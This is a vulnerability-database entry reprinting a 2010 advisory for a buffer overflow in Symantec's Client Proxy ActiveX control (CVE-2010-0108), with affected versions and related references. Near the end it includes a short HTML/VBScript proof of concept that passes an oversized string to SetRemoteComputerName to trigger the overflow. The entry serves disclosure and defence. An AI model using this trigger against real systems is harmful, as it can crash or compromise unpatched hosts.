Symantec (Multiple Products) - Client Proxy ActiveX 'CLIproxy.dll' Remote Overflow

🗓️ 17 Feb 2010 00:00:00Reported by Alexander PolyakovType

Symantec ActiveX 'CLIproxy.dll' Remote Overflo

Reporter	Title	Published	Views	Family All 12
Circl	CVE-2010-0108	17 Feb 201000:00	–	circl
Check Point Advisories	Symantec Products CLIproxy.dll ActiveX Control Buffer Overflow (CVE-2010-0108)	11 May 201000:00	–	checkpoint_advisories
CVE	CVE-2010-0108	19 Feb 201017:00	–	cve
Cvelist	CVE-2010-0108	19 Feb 201017:00	–	cvelist
NVD	CVE-2010-0108	19 Feb 201017:30	–	nvd
Prion	Buffer overflow	19 Feb 201017:30	–	prion
Tenable Nessus	Symantec AntiVirus Multiple Vulnerabilities (SYM10-002 / SYM10-003 / SYM10-004)	18 Sep 201300:00	–	nessus
securityvulns	[DSECRG-09-039] Symantec Antivirus 10.0 ActiveX - buffer Overflow.	25 Feb 201000:00	–	securityvulns
securityvulns	Symantec multiple antiviral applications buffer overflow	25 Feb 201000:00	–	securityvulns
Symantec	Input validation errors in SYMLTCOM.dll can lead to a buffer overflow.	17 Feb 201008:00	–	symantec

source: https://www.securityfocus.com/bid/38222/info

The Symantec Client Proxy ActiveX control is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successful exploits allow remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions.

The following are vulnerable:

Symantec AntiVirus 10.0.x and 10.1.x prior to 10.1 MR9
Symantec AntiVirus 10.2.x prior to 10.2 MR4
Symantec Client Security 3.0.x and 3.1.x prior to 3.1 MR9

<html> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:E381F1C0-910E-11D1-AB1E-00A0C90F8F6F' id='target' /> <script language='vbscript'> arg1=String(7188, "A") target.SetRemoteComputerName arg1 </script> </html>

04 Jun 2014 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 210

EPSS0.19405